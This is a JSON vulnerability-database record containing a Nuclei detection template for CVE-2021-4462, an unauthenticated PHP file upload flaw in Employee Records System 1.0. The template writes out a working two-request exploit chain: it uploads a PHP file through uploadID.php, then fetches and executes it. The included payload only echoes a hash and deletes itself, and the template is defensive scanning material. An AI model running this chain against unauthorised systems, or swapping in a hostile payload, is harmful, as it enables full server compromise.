{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-4462/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-4462/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-4462/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-4462/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-4462/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-4462"},"sightings":{"href":"/api/v1/sightings/cve-2021-4462"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-4462.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-4462\n\ninfo:\n  name: Employee Records System 1.0 - Unauthenticated File Upload RCE\n  author: josephttd\n  severity: critical\n  description: |\n    Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.\n  impact: |\n    Unauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise.\n  remediation: |\n    Apply security patches or upgrade to a later version of Employee Records System.\n  reference:\n    - https://www.exploit-db.com/exploits/49596\n    - https://www.sourcecodester.com/php/11393/employee-records-system.html\n  classification:\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cwe-id: CWE-434\n    epss-score: 0.0319\n    epss-percentile: 0.87547\n  metadata:\n    verified: true\n    max-request: 2\n  tags: cve,cve2021,employee-records,fileupload,rce,intrusive,vkev,vuln\n\nvariables:\n  string: \"CVE-2021-4462\"\n  filename: \"{{to_lower(rand_base(5))}}.php\"\n\nhttp:\n  - raw:\n      - |\n        POST /dashboard/uploadID.php HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: XMLHttpRequest\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"employee_ID\"; filename=\"{{filename}}\"\n        Content-Type: image/png\n\n        <?php echo md5(\"{{string}}\");unlink(__FILE__); ?>\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n      - |\n        GET /uploads/employees_ids/{{upload_filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: upload_filename\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"upload_filename\":\"([^\"]+)\"'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code_2 == 200'\n          - 'contains(body_2, \"{{md5(string)}}\")'\n        condition: and\n# digest: 4b0a0048304602210085e2297266ceff2f4f86a28b99160a6e45060724811cd28cfe9cf86dabbc84a0022100beba50c451b731646c521f71ab13c8d52eedc6e9a8a9a0fcbe22234db4d0fb4d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-4462"}